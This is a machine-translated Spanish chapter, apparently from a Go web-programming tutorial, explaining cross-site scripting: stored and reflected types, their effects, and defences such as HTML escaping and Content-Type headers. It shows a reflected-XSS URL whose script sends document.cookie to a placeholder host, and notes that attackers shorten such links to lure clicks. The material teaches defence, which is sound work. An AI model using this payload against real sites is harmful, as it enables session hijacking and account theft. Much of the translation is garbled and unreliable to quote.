Con el desarrollo de la tecnología de Internet, y ahora la aplicación web contiene una gran cantidad de contenido dinámico para mejorar la experiencia del usuario. El llamado contenido dinámico es que el entorno de la aplicación y el usuario de acuerdo con la solicitud del usuario, la salida del contenido correspondiente. Sitio dinámico será llamado "cross-site scripting ataques" (Cross Site Scripting, los expertos en seguridad a menudo se abrevia como XSS) amenazas, mientras que el sitio estático es absolutamente resistente a ella.
Ataques XSS: ataques de secuencias de comandos en sitios cruzados (Cross-Site Scripting), a fin de no, y las Hojas de Estilo en Cascada (Cascading Style Sheets, CSS) confusión siglas, que se abrevian como cross-site scripting ataques XSS. XSS es una vulnerabilidad de seguridad común en la Web que permite a un atacante proporcionar código malicioso en las páginas utilizadas por otros usuarios. A diferencia de la mayoría de los ataques (generalmente implican el atacante y la víctima), XSS involucra tres partes, a saber, el atacante, el cliente y las aplicaciones Web. XSS gol ataque es robar una cookie almacenada en el cliente o en otros sitios web que se utilizan para identificar la identidad de la información confidencial del cliente. Una vez que llegue a la información del usuario legítimo, el atacante puede suplantar incluso interactuar con el sitio.
XSS generalmente se pueden dividir en dos categorías: una es el tipo de almacenamiento de XSS, principalmente en lo que permite a los usuarios introducir datos para su uso por otros usuarios que navegan por esta página para ver lugares, incluyendo comentarios, opiniones, blogs y diversas formas. Aplicaciones para consultar datos de la base de datos, se muestra la página, el atacante entró en la página de datos de secuencias de comandos malintencionadas relevante, los usuarios navegar por estas páginas pueden ser atacados. Este simple proceso puede ser descrito como: una entrada maliciosos aplicaciones de usuario HTML web -> Acceso a la base de datos -> Programas -> Web del navegador del usuario. El otro es XSS reflexivo, el enfoque principal es agregar el código de script en la dirección URL de los parámetros de la petición, parámetros de la petición en el programa directamente a la salida de la página, el usuario hace clic en un enlace malicioso en un ataque similar podría ser.
XSS presentan los medios principales y termina de la siguiente manera:
- El robo de cookies, el acceso a información sensible.
- El uso de Flash implantable, a través de permisos crossdomain establecidos para obtener, además, una autoridad superior, o el uso de Java y otra llegar operaciones similares.
- Utiliza iframe, marco, XMLHttpRequest o Flash, etc, para (el atacante) la identidad del usuario para realizar algunas acciones administrativas, o realizar alguna, como por ejemplo: micro-Bo, añadir amigos, enviar mensajes privados y otras operaciones de rutina , hace algún tiempo, Sina microblogging padeció una sola vez XSS.
- El uso de un dominio puede ser atacado por otras características de confianza de dominio para solicitar la identidad de fuentes de confianza no permita que algunas de las operaciones habituales, tales como un voto inadecuada.
- En un gran número de visitas en el ataque XSS página algunos sitios pequeños pueden lograr el efecto de los ataques DDoS
Las aplicaciones web no se presentan los datos que se solicitan al usuario para hacer un filtro de inspección completa que permite a los usuarios incorporar datos presentados por el código HTML (en particular ">", "<"), y la salida de códigos maliciosos sin escapar a terceros interpretado el navegador del usuario, está liderando las causas de las vulnerabilidades XSS.
Al lado reflexivo XSS XSS ilustran el proceso: En la actualidad existe una página web, de acuerdo con los parámetros de las salidas el nombre 's del usuario, tales como el acceso a url: http://127.0.0.1/?name=astaxie
, será la siguiente salida en la información del navegador:
hello astaxie
Si pasamos esta url: http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>
, a continuación, encontrará un cuadro de pop-up navegador, lo que ayuda el sitio tiene estado en vulnerabilidades XSS existencia. Entonces, ¿cómo los usuarios maliciosos robar Galleta él? Y por el estilo, ya que esta url:
http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>
,de modo que usted puede poner cookies enviar al sitio especificado: www.xxx.com
. Se podría decir, por lo que echar un vistazo a la URL del problema, ¿cómo alguien hace clic? Sí, este tipo de URL hará que la gente escéptica, pero si se utiliza un servicio de URL corta para acortarlo, se podía ver?, El atacante acortar la url de alguna manera después de la difusión, de conocer la verdad una vez que el usuario hace clic en Esta dirección de Internet, datos de la cookie se enviará a los correspondientes sitios pre-configurados de este tipo en la información de cookies Robo del usuario, a continuación, puede utilizar una herramienta como Websleuth para comprobar si la cuenta del usuario para robar.
Un análisis más detallado acerca de XSS que se puede referir a este llamado " análisis de sucesos microblogging Sina XSS artículos " [ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" articles
La respuesta es simple, y decididamente no creen ninguna entrada del usuario y filtrar todos los caracteres especiales en la entrada. Esto eliminará la mayoría de los ataques XSS.
En este momento hay defensa XSS siguientes maneras:
- Filtrado de caracteres especiales
Una forma de evitar XSS principalmente al filtrado de contenido proporcionado por el usuario, Go lenguaje proporciona la función de filtro HTML:
text/template
package debajo de HTMLEscapeString
, JSEscapeString
otras funciones
- El uso de cabeceras HTTP de tipo especificado
w.Header().Set("Content-Type","text/javascript")
Esto permite que el navegador para analizar código javascript, y no habrá salida HTML.
Vulnerabilidad XSS es bastante peligroso en el desarrollo de aplicaciones Web, es importante recordar para filtrar los datos, especialmente en la salida al cliente, que ahora está medio bien establecido para prevenir XSS.
- Directory
- Previous section: Filter inputs
- Next section: SQL injection